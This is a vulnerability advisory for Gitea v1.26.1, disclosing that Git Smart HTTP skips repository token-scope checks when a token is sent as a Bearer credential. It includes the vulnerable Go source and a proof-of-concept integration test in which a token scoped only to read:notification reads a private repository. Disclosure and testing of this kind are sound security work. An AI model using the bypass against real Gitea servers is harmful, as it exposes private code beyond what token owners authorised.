Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens

### Summary Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer <token>` bypasses the scope check entirely. As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`. ### Details Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth: ```go // routers/web/web.go addOwnerRepoGitHTTPRouters( m, repo.HTTPGitEnabledHandler, webAuth.AllowBasic, webAuth.AllowOAuth2, repo.CorsHandler(), optSignInFromAnyOrigin, context.UserAssignmentWeb(), ) ``` The Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC: ```go // routers/web/repo/githttp.go if askAuth { if !ctx.IsSigned { ctx.HTTPError(http.StatusUnauthorized) return nil } context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode)) if ctx.Written() { return nil } // normal repository RBAC follows } ``` However, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests: ```go // services/context/permission.go func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) { if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true { return } scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope) if ok { requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository) // public-only and required repository scope checks follow } } ``` The Bearer/OAuth2 auth path still records the token scope: ```go // services/auth/oauth2.go accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA) if uid != 0 { store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = accessTokenScope } ``` Bearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored. ### PoC This test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth. ```go func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) { defer tests.PrepareTestEnv(t)() repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"}) assert.True(t, repo.IsPrivate) session := loginUser(t, "user2") token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification) url := "/user2/repo2/info/refs?service=git-upload-pack" basicReq := NewRequest(t, "GET", url) basicReq.SetBasicAuth(token, "x-oauth-basic") MakeRequest(t, basicReq, http.StatusForbidden) bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token) resp := MakeRequest(t, bearerReq, http.StatusOK) assert.Contains(t, resp.Body.String(), "refs/heads/master") } ``` ### Impact Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access. The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.